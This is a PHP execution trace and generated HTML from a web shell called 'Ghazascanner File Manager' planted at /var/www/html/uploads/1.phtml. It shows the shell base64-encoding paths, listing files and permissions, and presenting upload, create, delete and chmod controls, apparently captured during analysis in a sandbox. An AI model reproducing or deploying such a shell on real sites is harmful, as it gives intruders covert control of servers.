4	37	0	0.002809	508560	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	37	1	0.002827	508600
4	37	R			TRUE
4	38	0	0.002844	508560	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html'
4	38	1	0.002868	508648
4	38	R			'L3Zhci93d3cvaHRtbA=='
3	35	1	0.002888	508616
3	35	R			'L3Zhci93d3cvaHRtbA=='
2		A						/var/www/html/uploads/1.phtml	407	$result .= 'L3Zhci93d3cvaHRtbA=='
2		A						/var/www/html/uploads/1.phtml	408	$result .= '">html</a>/'
2		A						/var/www/html/uploads/1.phtml	394	$id = 4
2		A						/var/www/html/uploads/1.phtml	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/1.phtml	402	$linkpath = ''
2		A						/var/www/html/uploads/1.phtml	403	$i = 0
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= ''
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'html'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'uploads'
2		A						/var/www/html/uploads/1.phtml	403	$i++
3	39	0	0.003147	508600	g22b_crypt	1		/var/www/html/uploads/1.phtml	407	2	'/var/www/html/uploads'	'en'
4	40	0	0.003166	508600	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	40	1	0.003183	508640
4	40	R			TRUE
4	41	0	0.003200	508600	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	41	1	0.003217	508640
4	41	R			TRUE
4	42	0	0.003234	508600	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads'
4	42	1	0.003251	508696
4	42	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3	39	1	0.003272	508664
3	39	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/1.phtml	407	$result .= 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/1.phtml	408	$result .= '">uploads</a>/'
2	20	1	0.003323	508080
2	20	R			'<a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/<a href="?path=L3Zhci93d3cvaHRtbC91cGxvYWRz">uploads</a>/'
2	43	0	0.003367	504896	getfiles	1		/var/www/html/uploads/1.phtml	260	1	'dir'
3	44	0	0.003386	504896	scandir	0		/var/www/html/uploads/1.phtml	316	1	'/var/www/html/uploads'
3	44	1	0.003429	505512
3	44	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => '1.phtml', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/1.phtml	316	$dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '1.phtml', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/1.phtml	317	$result = []
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/.'
3	45	0	0.003507	505904	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/.'
3	45	1	0.003527	505968
3	45	R			TRUE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/..'
3	46	0	0.003560	505936	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/..'
3	46	1	0.003578	505984
3	46	R			TRUE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/.htaccess'
3	47	0	0.003612	505944	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/.htaccess'
3	47	1	0.003631	505984
3	47	R			FALSE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/1.phtml'
3	48	0	0.003664	505944	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/1.phtml'
3	48	1	0.003681	505984
3	48	R			FALSE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/data'
3	49	0	0.003714	505944	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/data'
3	49	1	0.003732	505984
3	49	R			TRUE
2		A						/var/www/html/uploads/1.phtml	326	$current['name'] = 'data'
3	50	0	0.003764	505944	g22b_crypt	1		/var/www/html/uploads/1.phtml	327	2	'/var/www/html/uploads/data'	'en'
4	51	0	0.003781	505944	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	51	1	0.003799	505984
4	51	R			TRUE
4	52	0	0.003815	505944	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	52	1	0.003838	505984
4	52	R			TRUE
4	53	0	0.003854	505944	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads/data'
4	53	1	0.003871	506056
4	53	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
3	50	1	0.003892	506024
3	50	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2		A						/var/www/html/uploads/1.phtml	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
3	54	0	0.003931	506024	is_dir	0		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/data'
3	54	1	0.003947	506064
3	54	R			TRUE
2		A						/var/www/html/uploads/1.phtml	328	$current['size'] = '--'
3	55	0	0.003979	506024	perms	1		/var/www/html/uploads/1.phtml	329	1	'/var/www/html/uploads/data'
4	56	0	0.003996	506024	fileperms	0		/var/www/html/uploads/1.phtml	482	1	'/var/www/html/uploads/data'
4	56	1	0.004013	506064
4	56	R			16895
3		A						/var/www/html/uploads/1.phtml	482	$perms = 16895
3		A						/var/www/html/uploads/1.phtml	498	$info = 'd'
3		A						/var/www/html/uploads/1.phtml	511	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	512	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	515	$info .= 'x'
3		A						/var/www/html/uploads/1.phtml	518	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	519	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	522	$info .= 'x'
3		A						/var/www/html/uploads/1.phtml	525	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	526	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	529	$info .= 'x'
3	55	1	0.004172	506064
3	55	R			'drwxrwxrwx'
2		A						/var/www/html/uploads/1.phtml	329	$current['perm'] = 'drwxrwxrwx'
3	57	0	0.004206	506064	is_writable	0		/var/www/html/uploads/1.phtml	330	1	'/var/www/html/uploads/data'
3	57	1	0.004229	506104
3	57	R			TRUE
2		A						/var/www/html/uploads/1.phtml	331	$current['permcolor'] = 'green'
2		A						/var/www/html/uploads/1.phtml	338	$result[] = ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/prepend.php'
3	58	0	0.004305	506880	is_dir	0		/var/www/html/uploads/1.phtml	321	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.004325	506928
3	58	R			FALSE
2	43	1	0.004344	505896
2	43	R			[0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
1		A						/var/www/html/uploads/1.phtml	260	$dirs = [0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
2	59	0	0.004404	506664	g22b_crypt	1		/var/www/html/uploads/1.phtml	274	2	'data'	'en'
3	60	0	0.004421	506664	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
3	60	1	0.004439	506704
3	60	R			TRUE
3	61	0	0.004456	506664	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
3	61	1	0.004473	506704
3	61	R			TRUE
3	62	0	0.004490	506664	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'data'
3	62	1	0.004506	506736
3	62	R			'ZGF0YQ=='
2	59	1	0.004525	506704
2	59	R			'ZGF0YQ=='
2	63	0	0.004544	505896	getfiles	1		/var/www/html/uploads/1.phtml	283	1	'file'
3	64	0	0.004560	505896	scandir	0		/var/www/html/uploads/1.phtml	316	1	'/var/www/html/uploads'
3	64	1	0.004593	506512
3	64	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => '1.phtml', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/1.phtml	316	$dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '1.phtml', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/1.phtml	317	$result = []
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/.'
3	65	0	0.004670	506904	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/.'
3	65	1	0.004689	506928
3	65	R			FALSE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/..'
3	66	0	0.004722	506896	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/..'
3	66	1	0.004741	506944
3	66	R			FALSE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/.htaccess'
3	67	0	0.004773	506904	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/.htaccess'
3	67	1	0.004793	506944
3	67	R			TRUE
2		A						/var/www/html/uploads/1.phtml	326	$current['name'] = '.htaccess'
3	68	0	0.004831	506904	g22b_crypt	1		/var/www/html/uploads/1.phtml	327	2	'/var/www/html/uploads/.htaccess'	'en'
4	69	0	0.004849	506904	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	69	1	0.004867	506944
4	69	R			TRUE
4	70	0	0.004883	506904	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	70	1	0.004900	506944
4	70	R			TRUE
4	71	0	0.004916	506904	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads/.htaccess'
4	71	1	0.004933	507016
4	71	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3	68	1	0.004956	506984
3	68	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2		A						/var/www/html/uploads/1.phtml	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3	72	0	0.004987	506984	is_dir	0		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.005003	507024
3	72	R			FALSE
3	73	0	0.005022	506984	file_size	1		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/.htaccess'
4	74	0	0.005041	506984	filesize	0		/var/www/html/uploads/1.phtml	352	1	'/var/www/html/uploads/.htaccess'
4	74	1	0.005056	507024
4	74	R			64
3		A						/var/www/html/uploads/1.phtml	352	$size = 0.0625
4	75	0	0.005081	506984	round	0		/var/www/html/uploads/1.phtml	353	2	0.0625	3
4	75	1	0.005095	507056
4	75	R			0.063
3		A						/var/www/html/uploads/1.phtml	353	$size = 0.063
3		A						/var/www/html/uploads/1.phtml	357	$size = '0.063 KB'
3	73	1	0.005131	507024
3	73	R			'0.063 KB'
2		A						/var/www/html/uploads/1.phtml	328	$current['size'] = '0.063 KB'
3	76	0	0.005164	507024	perms	1		/var/www/html/uploads/1.phtml	329	1	'/var/www/html/uploads/.htaccess'
4	77	0	0.005186	507024	fileperms	0		/var/www/html/uploads/1.phtml	482	1	'/var/www/html/uploads/.htaccess'
4	77	1	0.005207	507064
4	77	R			33188
3		A						/var/www/html/uploads/1.phtml	482	$perms = 33188
3		A						/var/www/html/uploads/1.phtml	492	$info = '-'
3		A						/var/www/html/uploads/1.phtml	511	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	512	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	515	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	518	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	519	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	522	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	525	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	526	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	529	$info .= '-'
3	76	1	0.005465	507064
3	76	R			'-rw-r--r--'
2		A						/var/www/html/uploads/1.phtml	329	$current['perm'] = '-rw-r--r--'
3	78	0	0.005499	507064	is_writable	0		/var/www/html/uploads/1.phtml	330	1	'/var/www/html/uploads/.htaccess'
3	78	1	0.005531	507104
3	78	R			FALSE
3	79	0	0.005551	507064	is_readable	0		/var/www/html/uploads/1.phtml	332	1	'/var/www/html/uploads/.htaccess'
3	79	1	0.005571	507104
3	79	R			TRUE
2		A						/var/www/html/uploads/1.phtml	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/1.phtml	338	$result[] = ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => '']
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/1.phtml'
3	80	0	0.005649	507872	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/1.phtml'
3	80	1	0.005670	507912
3	80	R			TRUE
2		A						/var/www/html/uploads/1.phtml	326	$current['name'] = '1.phtml'
3	81	0	0.005705	507872	g22b_crypt	1		/var/www/html/uploads/1.phtml	327	2	'/var/www/html/uploads/1.phtml'	'en'
4	82	0	0.005724	507872	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	82	1	0.005743	507912
4	82	R			TRUE
4	83	0	0.005761	507872	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	83	1	0.005778	507912
4	83	R			TRUE
4	84	0	0.005796	507872	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads/1.phtml'
4	84	1	0.005812	507984
4	84	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw='
3	81	1	0.005834	507952
3	81	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw='
2		A						/var/www/html/uploads/1.phtml	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw='
3	85	0	0.005881	507952	is_dir	0		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/1.phtml'
3	85	1	0.005899	507992
3	85	R			FALSE
3	86	0	0.005917	507952	file_size	1		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/1.phtml'
4	87	0	0.005933	507952	filesize	0		/var/www/html/uploads/1.phtml	352	1	'/var/www/html/uploads/1.phtml'
4	87	1	0.005951	507992
4	87	R			19351
3		A						/var/www/html/uploads/1.phtml	352	$size = 18.8974609375
4	88	0	0.005984	507952	round	0		/var/www/html/uploads/1.phtml	353	2	18.8974609375	3
4	88	1	0.006003	508024
4	88	R			18.897
3		A						/var/www/html/uploads/1.phtml	353	$size = 18.897
3		A						/var/www/html/uploads/1.phtml	357	$size = '18.897 KB'
3	86	1	0.006051	507992
3	86	R			'18.897 KB'
2		A						/var/www/html/uploads/1.phtml	328	$current['size'] = '18.897 KB'
3	89	0	0.006087	507992	perms	1		/var/www/html/uploads/1.phtml	329	1	'/var/www/html/uploads/1.phtml'
4	90	0	0.006104	507992	fileperms	0		/var/www/html/uploads/1.phtml	482	1	'/var/www/html/uploads/1.phtml'
4	90	1	0.006122	508032
4	90	R			33204
3		A						/var/www/html/uploads/1.phtml	482	$perms = 33204
3		A						/var/www/html/uploads/1.phtml	492	$info = '-'
3		A						/var/www/html/uploads/1.phtml	511	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	512	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	515	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	518	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	519	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	522	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	525	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	526	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	529	$info .= '-'
3	89	1	0.006286	508032
3	89	R			'-rw-rw-r--'
2		A						/var/www/html/uploads/1.phtml	329	$current['perm'] = '-rw-rw-r--'
3	91	0	0.006322	508032	is_writable	0		/var/www/html/uploads/1.phtml	330	1	'/var/www/html/uploads/1.phtml'
3	91	1	0.006365	508072
3	91	R			FALSE
3	92	0	0.006389	508032	is_readable	0		/var/www/html/uploads/1.phtml	332	1	'/var/www/html/uploads/1.phtml'
3	92	1	0.006410	508072
3	92	R			TRUE
2		A						/var/www/html/uploads/1.phtml	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/1.phtml	338	$result[] = ['fullname' => '/var/www/html/uploads/1.phtml', 'name' => '1.phtml', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw=', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => '']
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/data'
3	93	0	0.006490	508464	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/data'
3	93	1	0.006512	508504
3	93	R			FALSE
2		A						/var/www/html/uploads/1.phtml	319	$current['fullname'] = '/var/www/html/uploads/prepend.php'
3	94	0	0.006549	508472	is_file	0		/var/www/html/uploads/1.phtml	323	1	'/var/www/html/uploads/prepend.php'
3	94	1	0.006571	508520
3	94	R			TRUE
2		A						/var/www/html/uploads/1.phtml	326	$current['name'] = 'prepend.php'
3	95	0	0.006606	508480	g22b_crypt	1		/var/www/html/uploads/1.phtml	327	2	'/var/www/html/uploads/prepend.php'	'en'
4	96	0	0.006626	508480	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	96	1	0.006645	508520
4	96	R			TRUE
4	97	0	0.006663	508480	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	97	1	0.006681	508520
4	97	R			TRUE
4	98	0	0.006699	508480	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads/prepend.php'
4	98	1	0.006717	508592
4	98	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3	95	1	0.006740	508560
3	95	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2		A						/var/www/html/uploads/1.phtml	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3	99	0	0.006782	508560	is_dir	0		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/prepend.php'
3	99	1	0.006801	508600
3	99	R			FALSE
3	100	0	0.006819	508560	file_size	1		/var/www/html/uploads/1.phtml	328	1	'/var/www/html/uploads/prepend.php'
4	101	0	0.006838	508560	filesize	0		/var/www/html/uploads/1.phtml	352	1	'/var/www/html/uploads/prepend.php'
4	101	1	0.006857	508600
4	101	R			57
3		A						/var/www/html/uploads/1.phtml	352	$size = 0.0556640625
4	102	0	0.006890	508560	round	0		/var/www/html/uploads/1.phtml	353	2	0.0556640625	3
4	102	1	0.006910	508632
4	102	R			0.056
3		A						/var/www/html/uploads/1.phtml	353	$size = 0.056
3		A						/var/www/html/uploads/1.phtml	357	$size = '0.056 KB'
3	100	1	0.006969	508600
3	100	R			'0.056 KB'
2		A						/var/www/html/uploads/1.phtml	328	$current['size'] = '0.056 KB'
3	103	0	0.007006	508600	perms	1		/var/www/html/uploads/1.phtml	329	1	'/var/www/html/uploads/prepend.php'
4	104	0	0.007024	508600	fileperms	0		/var/www/html/uploads/1.phtml	482	1	'/var/www/html/uploads/prepend.php'
4	104	1	0.007043	508640
4	104	R			33261
3		A						/var/www/html/uploads/1.phtml	482	$perms = 33261
3		A						/var/www/html/uploads/1.phtml	492	$info = '-'
3		A						/var/www/html/uploads/1.phtml	511	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	512	$info .= 'w'
3		A						/var/www/html/uploads/1.phtml	515	$info .= 'x'
3		A						/var/www/html/uploads/1.phtml	518	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	519	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	522	$info .= 'x'
3		A						/var/www/html/uploads/1.phtml	525	$info .= 'r'
3		A						/var/www/html/uploads/1.phtml	526	$info .= '-'
3		A						/var/www/html/uploads/1.phtml	529	$info .= 'x'
3	103	1	0.007210	508640
3	103	R			'-rwxr-xr-x'
2		A						/var/www/html/uploads/1.phtml	329	$current['perm'] = '-rwxr-xr-x'
3	105	0	0.007244	508640	is_writable	0		/var/www/html/uploads/1.phtml	330	1	'/var/www/html/uploads/prepend.php'
3	105	1	0.007269	508680
3	105	R			FALSE
3	106	0	0.007287	508640	is_readable	0		/var/www/html/uploads/1.phtml	332	1	'/var/www/html/uploads/prepend.php'
3	106	1	0.007309	508680
3	106	R			TRUE
2		A						/var/www/html/uploads/1.phtml	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/1.phtml	338	$result[] = ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']
2	63	1	0.007372	508168
2	63	R			[0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/1.phtml', 'name' => '1.phtml', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw=', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
1		A						/var/www/html/uploads/1.phtml	283	$files = [0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/1.phtml', 'name' => '1.phtml', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLzEucGh0bWw=', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
2	107	0	0.007468	509064	g22b_crypt	1		/var/www/html/uploads/1.phtml	301	2	'.htaccess'	'en'
3	108	0	0.007488	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
3	108	1	0.007507	509104
3	108	R			TRUE
3	109	0	0.007526	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
3	109	1	0.007543	509104
3	109	R			TRUE
3	110	0	0.007559	509064	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'.htaccess'
3	110	1	0.007579	509144
3	110	R			'Lmh0YWNjZXNz'
2	107	1	0.007604	509112
2	107	R			'Lmh0YWNjZXNz'
2	111	0	0.007634	509064	g22b_crypt	1		/var/www/html/uploads/1.phtml	301	2	'1.phtml'	'en'
3	112	0	0.007656	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
3	112	1	0.007678	509104
3	112	R			TRUE
3	113	0	0.007703	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
3	113	1	0.007725	509104
3	113	R			TRUE
3	114	0	0.007746	509064	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'1.phtml'
3	114	1	0.007765	509144
3	114	R			'MS5waHRtbA=='
2	111	1	0.007788	509112
2	111	R			'MS5waHRtbA=='
2	115	0	0.007814	509064	g22b_crypt	1		/var/www/html/uploads/1.phtml	301	2	'prepend.php'	'en'
3	116	0	0.007835	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
3	116	1	0.007855	509104
3	116	R			TRUE
3	117	0	0.007876	509064	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
3	117	1	0.007898	509104
3	117	R			TRUE
3	118	0	0.007921	509064	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'prepend.php'
3	118	1	0.007943	509144
3	118	R			'cHJlcGVuZC5waHA='
2	115	1	0.007970	509112
2	115	R			'cHJlcGVuZC5waHA='
1	3	1	0.008009	508168
			0.008224	377520
TRACE END   [2023-02-13 00:03:48.545637]


Generated HTML code

<html><head>
    <title>Ghazascanner_2019runbot</title>
    </head><body><h1><font color="red">@Ghazascanner</font>_2019runbot</h1>
    <meta name="robots" content="noindex">
    <style>
        body{
            font-family: "Racing Sans One", cursive;
            background-color: #e6e6e6;
            text-shadow:0px 0px 1px #757575;
            margin: 0;
        }
        #container{
            width: 700px;
            margin: 20px auto;
            border: 1px solid black;
        }
        #header{
            text-align: center;
            border-bottom: 1px dotted black;
        }
        #header h1{
            margin: 0;
        }
        
        #nav,#menu{
            padding-top: 5px;
            margin-left: 5px;
            padding-bottom: 5px;
            overflow: hidden;
            border-bottom: 1px dotted black;
        }
        #nav{
            margin-bottom: 10px;
        }
        
        #menu{
            text-align: center;
        }
        
        #content{
            margin: 0;
        }
        
        #content table{
            width: 700px;
            margin: 0px;
        }
        #content table .first{
            background-color: silver;
            text-align: center;
        }
        #content table .first:hover{
            background-color: silver;
            text-shadow:0px 0px 1px #757575;
        }
        #content table tr:hover{
            background-color: #636263;
            text-shadow:0px 0px 10px #fff;
        }
        
        #footer{
            margin-top: 10px;
            border-top: 1px dotted black;
        }
        #footer p{
            margin: 5px;
            text-align: center;
        }
        .filename,a{
            color: #000;
            text-decoration: none;
            cursor: pointer;
        }
        .filename:hover,a:hover{
            color: #fff;
            text-shadow:0px 0px 10px #ffffff;
        }
        .center{
            text-align: center;
        }
        input,select,textarea{
            border: 1px #000000 solid;
            -moz-border-radius: 5px;
            -webkit-border-radius:5px;
            border-radius:5px;
        }
    </style>
    <script>
function Encoder(name)
{
    var e =  document.getElementById(name);
    e.value = btoa(e.value);
    return true;
}
</script>


    
    <div id="container">
        <div id="header"><h1><a href="?">Ghazascanner File Manager</a></h1></div>
        <br>server :Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64<br>
        <div id="nav">
            <div class="path">Current Path : <a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/
            <form methdo="GET" onsubmit="Encoder('c');"><font color="red">Path : </font><input type="text" id="c" size="40" name="path" value="/var/www/html"><input type="submit" value="Go"></form></div><br>
            <div class="upload">
                <form enctype="multipart/form-data" method="POST" action="?path=L3Zhci93d3cvaHRtbA==&amp;up">
                Upload File : <input type="file" name="file">
                <input type="submit" value="upload">
                </form>
            </div>
            <div class="new">
                <form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&amp;new" onsubmit="Encoder('kc')">
                <span>New : </span><input name="name" type="text" size="10" id="kc">
                File <input type="radio" name="type" value="file" checked="">
                Dir <input type="radio" name="type" value="dir">
                <input type="submit" value="Create">
                </form>
            </div>
        </div>
        <div id="content"><div class="center"></div><div id="files">
        
        </div><div id="files">
        
        </div><table>
                <tbody><tr class="first">
                    <td>Name</td>
                    <td>Size</td>
                    <td>Permissions</td>
                    <td>Options</td>
                </tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
        <td><a href="?path=L3Zhci93d3cvaHRtbA==&amp;filesrc=L3Zhci93d3cvaHRtbC8xLnBodG1s"><div class="filename">1.phtml</div></a></td>
        <td class="center">18.897 KB</td>
        <td class="center"><font color="">-rw-rw-r--</font></td>
        <td class="center"><form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&amp;option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
